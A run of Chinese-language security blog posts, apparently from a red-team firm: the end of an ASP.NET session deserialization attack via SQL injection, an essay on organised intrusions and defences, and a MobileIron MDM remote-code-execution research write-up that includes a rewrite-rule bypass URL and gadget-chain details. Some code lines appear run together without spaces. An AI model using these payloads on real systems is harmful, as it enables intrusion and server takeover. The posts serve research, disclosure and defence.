最後的步驟就是利用開頭的 SQL Injection 將惡意的序列化內容注入進去資料庫,如果正常瀏覽目標網站時有出現 ASP.NET_SessionId 的 Cookie 就代表已經有一筆對應的 Session 記錄儲存在資料庫裡,所以我們只需要執行如下的 SQL Update 語句:

?id=1; UPDATE ASPState.dbo.ASPStateTempSessions
       SET SessionItemShort = 0x{Hex_Encoded_Payload}
       WHERE SessionId LIKE '{ASP.NET_SessionId}%25'; --

分別將 {ASP.NET_SessionId}替換成自己的 ASP.NET_SessionId 的 Cookie 值以及 {Hex_Encoded_Payload}替換成前面準備好的序列化 payload 即可。

那假如沒有 ASP.NET_SessionId 怎麼辦?這表示目標可能還未儲存任何資料在 Session 之中,所以也就不會產生任何記錄在資料庫裡,但既然沒有的話,那我們就硬塞一個 Cookie 給它!ASP.NET 的 SessionId 是透過亂數產生的 24 個字元,但使用了客製化的字元集,可以直接使用以下的 Python script 產生一組 SessionId,例如:plxtfpabykouhu3grwv1j1qw,之後帶上 Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw瀏覽任一個 aspx 頁面,理論上 ASP.NET 就會自動在資料庫裡添加一筆記錄。

importrandomchars='abcdefghijklmnopqrstuvwxyz012345'print(''.join(random.choice(chars)foriinrange(24)))

假如在資料庫裡仍然沒有任何記錄出現,那就只能手動刻 INSERT 的 SQL 來創造一個記錄,至於如何刻出這部分?只要看看程式碼應該就可以很容易構造出來,所以留給大家自行去玩 :P

等到 Payload 順利注入後,只要再次用這個 Cookie ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw瀏覽任何一個 aspx 頁面,就會觸發反序列化執行任意系統指令!

題外話,利用 SessionState 的反序列化取得 ASP.NET 網站應用程式主機控制權的場景並不僅限於 SQL Injection。在內網滲透測試的過程中,經常會遇到的情境是,我們透過各方的資訊洩漏 ( 例如:內部 GitLab、任意讀檔等 ) 取得許多 SQL Server 的帳號、密碼,但唯獨取得不了目標 ASP.NET 網站應用程式的 Windows 主機的帳號密碼,而為了達成目標 ( 控制指定的網站主機 ),我們就曾經使用過這個方式取得目標的控制權,所以作為內網橫向移動的手段也是稍微有價值且非常有趣。至於還能有什麼樣的花樣與玩法,就要靠各位持續地發揮想像力!

敵人不是勒贖軟體,而是組織型駭客

$
0
0

前言

駭客攻擊事件一直存在於真實世界,只是鮮少被完整公開揭露。今年國內一些重大關鍵基礎設施 (Critical Information Infrastructure Protection,CIIP) 以及國內的跨國企業紛紛發生嚴重的資安事件,我們想簡單的跟大家談談這些事件背後企業真正需要思考及重視的核心問題。

企業面對的是組織型駭客而不只是勒贖軟體

不知道是因為勒贖軟體比較吸睛還是什麼緣故,媒體比較喜歡用勒贖軟體作為標題呈現近年企業面臨的重大威脅。實際上,勒贖軟體只是攻擊過程的工具、加密只是勒贖的手段之一,甚至包含竊取機敏資料。因為這些事件我們沒有參與調查或相關的活動,我們僅就已公開揭露的資料來一窺面對這樣的威脅,企業的具體做法有哪些?

根據法務部調查局在 iThome 2020 資安大會的分享

在這起攻擊事件中,駭客首先從 Web 伺服器、員工電腦等途徑,入侵公司系統長期潛伏及探測,而後竊取帳號權限,進入 AD 伺服器,利用凌晨時段竄改群組派送原則(GPO),同時預埋 lc.tmp 惡意程式到內部伺服器中,等到員工上班打開電腦後,電腦立即套用遭竄改的 GPO,依據指令就會自動將勒索軟體載到記憶體中來執行。

企業在被勒贖軟體加密後,往往第一時間容易直覺想到防毒軟體或端點防護設備為何沒有生效?現實是,如果企業面對的是針對式的攻擊(Advanced Persistent Threat,APT),攻擊者勢必會研究可以繞過企業的防護或監控的方式。所以企業要思考的應該是一個防禦戰線或更為全面的防護策略,而非仰賴單一的資安設備或服務。

從上述的敘述,我們可以發現幾個問題:

  1. Web 伺服器具有可利用的漏洞,而這個漏洞可能導致主機被取得權限進行後續的橫向移動。造成這個問題的原因可能包含:
    • 系統從未進行高強度的滲透測試及定期執行弱點掃描
    • 屬於老舊無法修補的系統(使用老舊的框架、程式語言)或是廠商已經不再維護
    • 一次性的活動網站或測試網站,活動或測試結束後未依照程序下線,成為企業防禦破口
    • 不在企業盤點的防護範圍內(如前端未設置 WAF)
  2. 從員工電腦或是 Web 伺服器可以逐步跳到 AD 伺服器,可能存在的問題則包含:
    • 網路間的區隔不嚴謹,例如未依照資料或系統的重要性進行區隔
    • 同網段伺服器間的通訊方式管控不當,沒有開啟或管制重要伺服器的通訊埠或限制來源 IP 位址
    • 系統存在可利用取得權限的弱點
  3. 利用凌晨時段竄改群組派送原則:最後是回應機制未即時(包含人員接獲告警後處理不當),企業對於具有集中管理權限的重要系統,例如 AD Server、資產管理軟體等這類型的主機,除了對特權帳號高強度的管理外(如 OTP),也應該針對「異常帳號登入」、「異常帳號新增到群組」、「正常帳號異常登入時間」、「新增排程或 GPO」等行為發出告警;而各種告警也應該依照資產的重要性訂定不同的 SLA 回應與處理。

你需要更全面、目標導向的方式思考企業資安現況

我們在近三年的紅隊演練,以企業對其營運最關鍵的資訊資產作為演練標的,並模擬組織型駭客的攻擊模式,透過外部情搜、取得外部系統權限、橫向移動、持續取得更多內部伺服器權限及提權、破解密碼,最終達到企業指定的關鍵資產執行演練情境。而企業透過高強度且精準的演練過程,除了明確掌握可被入侵的路徑外,更得以檢視上述問題的不足並持續改善。

我們認為,只要你的企業夠重要(對駭客而言重要,而不是自己覺得重要),組織型的攻擊就不會停歇!企業唯有不斷的找出自己不足之處,持續提升自己的防禦強度才是能真正降低風險的正確作法。

至於「第三方供應鏈安全」及「如何更完整的制定資安策略」,我們將找時間另外跟大家說明。

看我如何再一次駭進 Facebook,一個在 MobileIron MDM 上的遠端程式碼執行漏洞!

$
0
0

English Version
中文版本

嗨! 好久不見,這是我在今年年初的研究,講述如何尋找一款知名行動裝置管理產品的漏洞,並繞過層層保護取得遠端程式碼執行的故事! 其中的漏洞經回報後在六月由官方釋出修補程式並緊急通知他們的客戶,而我們也在修補程式釋出 15 天後發現 Facebook 並未及時更新,因此透過漏洞取得伺服器權限並回報給 Facebook!

此份研究同時發表於 HITCON 2020,你可以從這裡取得這次演講的投影片!


身為一個專業的紅隊,我們一直在尋找著更快速可以從外部進入企業內網的最佳途徑! 如同我們去年在 Black Hat USA發表的研究,SSL VPN 理所當然會放在外部網路,成為保護著網路安全、使員工進入內部網路的基礎設施,而當你所信任、並且用來保護你安全的設備不再安全了,你該怎麼辦?

由此為發想,我們開始尋找著有沒有新的企業網路脆弱點可當成我們紅隊攻擊滲透企業的初始進入點,在調查的過程中我們對 MDM/UEM 開始產生了興趣,而這篇文章就是從此發展出來的研究成果!

什麼是 MDM/UEM ?

Mobile Device Management,簡稱 MDM,約是在 2012 年間,個人手機、平板裝置開始興起時,為了使企業更好的管理員工的 BYOD 裝置,應運而生的資產盤點系統,企業可以透過 MDM 產品,管理員工的行動裝置,確保裝置只在信任的環境、政策下運行,也可以從中心的端點伺服器,針對所控制的手機,部署應用程式、安裝憑證甚至遠端操控以管理企業資產,更可以在裝置遺失時,透過 MDM 遠端上鎖,或是抹除整台裝置資料達到企業隱私不外漏的目的!

UEM (Unified Endpoint Management) 則為近幾年來更新的一個術語,其核心皆為行動裝置的管理,只是 UEM 一詞包含更廣的裝置定義! 我們以下皆用 MDM 一詞來代指同類產品。

我們的目標

MDM 作為一個中心化的端點控制系統,可以控制、並管理旗下所有員工個人裝置! 對日益壯大的企業來說,絕對是一個最佳的資產盤點產品,相對的,對駭客來說也是! 而為了管理來自世界各地的員工裝置連線,MDM 又勢必得曝露在外網。 一個可以「管理員工裝置」又「放置在外網」的設備,這對我們的紅隊演練來說無疑是最棒的滲透管道!

另外,從這幾年的安全趨勢也不難發現 MDM 逐漸成為駭客、APT 組織的首選目標! 誘使受害者同意惡意的 MDM 成為你裝置的 C&C 伺服器,或是乾脆入侵企業放置在外網的 MDM 設備,在批次地派送行動裝置木馬感染所有企業員工手機、電腦,以達到進一步的攻擊! 這些都已成真,詳細的報告可參閱 Cisco Talos 團隊所發表的 Malicious MDM: Let’s Hide This App以及 CheckPoint CPR 團隊所發表的 First seen in the wild - Malware uses Corporate MDM as attack vector!

從前面的幾個案例我們得知 MDM 對於企業安全來說,是一個很好的切入點,因此我們開始研究相關的攻擊面! 而市面上 MDM 廠商有非常多,各個大廠如 Microsoft、IBM 甚至 Apple 都有推出自己的 MDM 產品,我們要挑選哪個開始成為我們的研究對象呢?

因此我們透過公開情報列舉了市面上常見的 MDM 產品,並配合各家特徵對全世界進行了一次掃描,發現最多企業使用的 MDM 為 VMware AirWatch 與 MobileIron 這兩套產品! 至於要挑哪一家研究呢? 我們選擇了後者,除了考量到大部分的客戶都是使用 MobileIron 外,另外一個吸引我的點則是 Facebook 也是他們的客戶! 從我們在 2016 年發表的 How I Hacked Facebook, and Found Someone’s Backdoor Script研究中,就已發現 Facebook 使用 MobileIron 作為他們的 MDM 解決方案!

根據 MobileIron 官方網站描述,至少有 20000+ 的企業使用 MobileIron 當成他們的 MDM 解決方案,而根據我們實際對全世界的掃描,也至少有 15% 以上的財富世界 500 大企業使用 MobileIron 且曝露在外網(實際上一定更多),因此,尋找 MobileIron 的漏洞也就變成我們的首要目標!

如何開始研究

過往出現過的漏洞可以得知 MobileIron 並沒有受到太多安全人員研究,其中原因除了 MDM 這個攻擊向量尚未廣為人知外,另一個可能是因為關於 MobileIron 的相關韌體太難取得,研究一款設備最大的問題是如何從純粹的黑箱,到可以分析的灰箱、甚至白箱! 由於無法從官網下載韌體,我們花費了好幾天嘗試著各種關鍵字在網路上尋找可利用的公開資訊,最後才在 Goolge Search 索引到的其中一個公開網站根目錄上發現疑似是開發商測試用的 RPM 包。

下載回的韌體為 2018 年初的版本,離現在也有很長一段時間,也許核心程式碼也大改過,不過總比什麼都沒有好,因此我們就從這份檔案開始研究起。

備註: 經通知 MobileIron 官方後,此開發商網站已關閉。

如何尋找漏洞

整個 MobileIron 使用 Java 作為主要開發語言,對外開放的連接埠為 443, 8443, 9997,各個連接埠對應功能如下:

  • 443 為使用者裝置註冊介面
  • 8443 為設備管理介面
  • 9997 為一個 MobileIron 私有的裝置同步協定 (MI Protocol)

三個連接埠皆透過 TLS 保護連線的安全性及完整性,網頁部分則是透過 Apache 的 Reverse Proxy 架構將連線導至後方,由 Tomcat 部署的網頁應用處理,網頁應用則由 Spring MVC 開發。

由於使用的技術架構相對新,傳統類型的漏洞如 SQL Injection 也較難從單一的點來發現,因此理解程式邏輯並配合架構層面的攻擊就變成我們這次尋找漏洞的主要目標!

這次的漏洞也很簡單,主要是 Web Service 使用了 Hessian 格式處理資料進而產生了反序列化的弱點! 雖然漏洞一句話就可以解釋完了,但懂的人才知道反序列化並不代表你可以做任何事,接下來的利用才是精彩的地方!

現在已知 MobileIron 在處理 Web Service 的地方存在 Hessian 反序列化漏洞! 但漏洞存在,並不代表我們碰得到漏洞,可以觸發 Hessian 反序列化的路徑分別在:

  • 一般使用者介面 - https://mobileiron/mifs/services/
  • 管理介面 - https://mobileiron:8443/mifs/services/

管理介面基本上沒有任何阻擋,可以輕鬆的碰到 Web Service,而一般使用者介面的 Web Service 則無法存取,這對我們來說是一個致命性的打擊,由於大部分企業的網路架構並不會將管理介面的連接埠開放在外部網路,因此只能攻擊管理介面對於的利用程度並不大,因此我們必須尋找其他的方式去觸發這個漏洞!

仔細觀察 MobileIron 的阻擋方式,發現它是透過在 Apache 上使用 Rewrite Rules 去阻擋對一般使用者介面 Web Service 的存取:

RewriteRule ^/mifs/services/(.*)$ https://%{SERVER_NAME}:8443/mifs/services/$1 [R=307,L]
RewriteRule ^/mifs/services [F]

嗯,很棒! 使用 Reverse Proxy 架構而且是在前面那層做阻擋,你是否想到什麼呢?




沒錯! 就是我們在 2015 年發現,並且在 Black Hat USA 2018上所發表的針對 Reverse Proxy 架構的新攻擊面 Breaking Parser Logic! 這個優秀的技巧最近也被很好的利用在 CVE-2020-5902,F5 BIG-IP TMUI 的遠端程式碼執行上!

透過 Apache 與 Tomcat 對路徑理解的不一致,我們可以透過以下方式繞過 Rewrite Rule 再一次攻擊 Web Service!

https://mobileiron/mifs/.;/services/someService

碰! 因此現在不管是 8443 的管理介面還是 443 的一般使用者介面,我們都可以碰到有 Hessian 反序列化存在的 Web Service 了!

如何利用漏洞

現在讓我們回到 Hessian 反序列化的利用上! 針對 Hessian 反序列化,Moritz Bechler已經在他的 Java Unmarshaller Security中做了一個很詳細的研究報告! 從他所開源的 marshalsec原始碼中,我們也學習到 Hessian 在反序列化過程中除了透過 HashMap 觸發 equals()以及 hashcode()等觸發點外,也可透過 XString串出 toString(),而目前關於 Hessian 反序列化已存在的利用鏈有四條:

  • Apache XBean
  • Caucho Resin
  • Spring AOP
  • ROME EqualsBean/ToStringBean

而根據我們的目標環境,可以觸發的只有 Spring AOP 這條利用鏈!

 NameEffect
xApache XBeanJNDI 注入
xCaucho ResinJNDI 注入
Spring AOPJNDI 注入
xROME EqualsBeanRCE

無論如何,我們現在有了 JNDI 注入後,接下來只要透過 Alvaro MuñozOleksandr Mirosh在 Black Hat USA 2016 上所發表的 A Journey From JNDI/LDAP to Remote Code Execution Dream Land就可以取得遠端程式碼執行了… 甘安內?


自從 Alvaro MuñozOleksandr Mirosh在 Black Hat 發表了這個新的攻擊向量後,不知道幫助了多少大大小小的駭客,甚至會有人認為「遇到反序列化就用 JNDI 送就對了!」,但自從 2018 年十月,Java 終於把關於 JNDI 注入的最後一塊拼圖給修復,這個修復被記載在 CVE-2018-3149中,自此之後,所有 Java 高於 8u181, 7u191, 6u201 的版本皆無法透過 JNDI/LDAP 的方式執行程式碼,因此若要在最新版本的 MobileIron 上實現攻擊,我們勢必得面對這個問題!

關於 CVE-2018-3149,是透過將 com.sun.jndi.ldap.object.trustURLCodebase的預設值改為 False的方式以達到禁止攻擊者下載遠端 Bytecode 取得執行程式碼。

但幸運的是,我們依然可以透過 JNDI 的 Naming Reference 到本機既有的 Class Factory 上! 透過類似 Return-Oriented Programming的概念,尋找本機 ClassPath 中可利用的類別去做更進一步的利用,詳細的手法可參考由 Michael Stepankin在 2019 年年初所發表的 Exploiting JNDI Injections in Java,裡面詳細敘述了如何透過 Tomcat 的 BeanFactory去載入 ELProcessor達成任意程式碼執行!

這條路看似通暢,但實際上卻差那麼一點,由於 ELProcessor在 Tomcat 8 後才被引入,因此上面的繞過方式只能在 Tomcat 版本大於 8 後的某個版本才能成功,而我們的目標則是 Tomcat 7.x,因此得為 BeanFactory尋找一個新的利用鏈! 而經過搜尋,發現在 Welkin文章中所提到:

除了 javax.el.ELProcessor,当然也还有很多其他的类符合条件可以作为 beanClass 注入到 BeanFactory 中实现利用。举个例子,如果目标机器 classpath 中有 groovy 的库,则可以结合之前 Orange 师傅发过的 Jenkins 的漏洞实现利用


目標的 ClassPath 上剛好有 Groovy 存在! 於是我們又讓 Meta Programming 偉大了一次 :D

然而事實上,目標伺服器上 Groovy 版本為 1.5.6,是一個距今十年前老舊到不支援 Meta Programming 的版本,所以我們最後還是基於 Groovy 的程式碼,重新尋找了一個在 GroovyShell上的利用鏈! 詳細的利用鏈可參考我送給 JNDI-Injection-Bypass的這個 Pull Request!

攻擊 Facebook

現在我們已經有了一個基於 JNDI + BeanFactory + GroovyShell的完美遠端程式碼執行漏洞,接下來就開始攻擊 Facebook 吧! 從前文提到,我們在 2016 年時就已知 Facebook 使用 MobileIron 當作他們的 MDM 解決方案,雖然現在再檢查一次發現首頁直接變成 403 Forbidden 了,不過幸運的是 Web Service 層並無阻擋!
s

萬事俱備,只欠東風! 正當要攻擊 Facebook 的前幾天,我們突然想到,從上次進入 Facebook 伺服器的經驗,由於安全上的考量,Facebook 似乎會禁止所有對外部非法的連線,這點對我們 JNDI 注入攻擊有著至關重要的影響! 首先,JNDI 注入的核心就是透過受害者連線至攻擊者控制的惡意伺服器,並接收回傳的惡意 Naming Reference 後所導致的一系列利用,但現在連最開始的連線到攻擊者的惡意伺服器都無法,更別談後續的利用。


自此,我們關於 JNDI 注入的路已全被封殺,只能回到 Hessian 反序列化重新思考! 而現有的利用鏈皆無法達到遠端程式碼執行,所以我們勢必得拋棄 JNDI 注入,尋找一個新的利用鏈!



為了尋找新的利用鏈,必須先深入理解已存在利用鏈的原理及成因,在重讀 Java Unmarshaller Security的論文後,我對其中一句話感到了好奇:

Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception.


哦,為什麼作者要特地補上這句話呢? 我開始有個猜想:

作者評估過把 Groovy 當成利用鏈的可行性,雖然被限制住了,但一定覺得有機會才會寫進論文中!


從這個猜想出發,雖然 Groovy 的利用鏈被 readResolve()限制住了,但剛好我們目標版本的 Groovy 很舊,說不定尚未把這個限制加入程式庫!

我們比較了一下 Groovy-1.5.6 與最新版本位於 groovy/runtime/MethodClosure.java中的 readSolve()實現:

$diff1_5_6/MethodClosure.java3_0_4/MethodClosure.java>privateObjectreadResolve(){>if(ALLOW_RESOLVE){>returnthis;>}>thrownewUnsupportedOperationException();>}

可以看到的確在舊版是沒有 ALLOW_RESOLVE限制的,而後來經過考古後也發現,這個限制其實 Groovy 自己為了因應 2015 年所出現 Java 反序列化漏洞的減緩措施,因此也被分配了 CVE-2015-3253這個漏洞編號! 由於 Groovy 只是一個只在內部使用、不會對外的小配角,因此在沒有特別需求下開發者也不會特地去更新它,因此成為了我們攻擊鏈的一環! 這也再一次驗證了「任何看似舉無輕重的小元件,都有可能成為你被攻擊的主因」!

最後,當然! 我們成功的取得在 Facebook 伺服器上的 Shell,以下是影片:

漏洞通報與修復

我們約在三月時完成整個漏洞研究,並在 4/3 日將研究成果寫成報告,透過 security@mobileiron.com回報給 MobileIron! 官方收到後著手開始修復,在 6/15 釋出修補程式並記錄了三個 CVE 編號,詳細的修復方式請參閱 MobileIron 官方網站!

  • CVE-2020-15505 - Remote Code Execution
  • CVE-2020-15506 - Authentication Bypass
  • CVE-2020-15507 - Arbitrary File Reading

當官方釋出修補程式後,我們也開始監控世界上所有有使用 MobileIron 企業的修復狀況,這裡只單純檢查靜態檔案的 Last-Modified Header,結果僅供參考不完全代表實際情況(Unknown 代表未開 443/8443 無法利用):


與此同時,我們也持續監控著 Facebook,並在 15 天確認都未修補後於 7/2 日成功進入 Facebook 伺服器後回報 Facebook Bug Bounty Program!

結語

到此,我們已經成功示範了如何尋找一個 MDM 伺服器的漏洞! 從繞過 Java 語言層級的保護、網路限制,到寫出攻擊程式並成功的利用在 Bug Bounty Program 上! 因為文長,還有許多來不及分享的故事,這裡僅條列一下供有興趣繼續研究的人參考!

  • 如何從 MDM 伺服器,控制回員工的手機裝置
  • 如何分析 MobileIron 的私有 MI Protocol
  • CVE-2020-15506 本質上其實是一個很有趣的認證繞過漏洞

希望這篇文章能夠喚起大眾對於 MDM 攻擊面的注意,以及企業安全的重要性! 感謝收看 :D

Viewing all 145 articles
Browse latest View live